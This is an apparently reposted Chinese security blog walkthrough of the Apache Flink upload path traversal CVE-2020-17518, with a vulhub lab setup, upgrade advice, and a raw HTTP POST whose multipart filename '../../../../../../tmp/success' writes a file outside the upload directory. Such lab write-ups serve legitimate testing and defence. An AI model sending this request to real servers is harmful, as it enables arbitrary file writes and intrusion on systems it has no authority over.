Apache Flink上传路径遍历(CVE-2020-17518)

  • A+
所属分类:安全文章

简介

 

Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。

 

漏洞概述

 

Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。

 

影响版本

 

Flink 1.5.1-1.11.2


 

环境搭建

 

使用vulhub进行安装

Vulhub地址:

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

 进入目录cd vulhub-master/flink/CVE-2020-17518安装环境docker-compose up -d

Apache Flink上传路径遍历(CVE-2020-17518)

接着访问http://your-ip:8081

Apache Flink上传路径遍历(CVE-2020-17518)

这里版本是flink:1.11.2

 

漏洞复现


构建数据包进行发送

POST /jars/upload HTTP/1.1Host: 192.168.204.131:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6YContent-Length: 187 ------WebKitFormBoundaryoZ8meKnrrso89R6YContent-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" success------WebKitFormBoundaryoZ8meKnrrso89R6Y--

Apache Flink上传路径遍历(CVE-2020-17518)

返回400,但是镜像里面有了success文件,执行成功


Apache Flink上传路径遍历(CVE-2020-17518)


修复建议

 

升级到安全版本

安全版本:Flink 1.11.3Flink 1.12.0



本文始发于微信公众号(锋刃科技):Apache Flink上传路径遍历(CVE-2020-17518)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: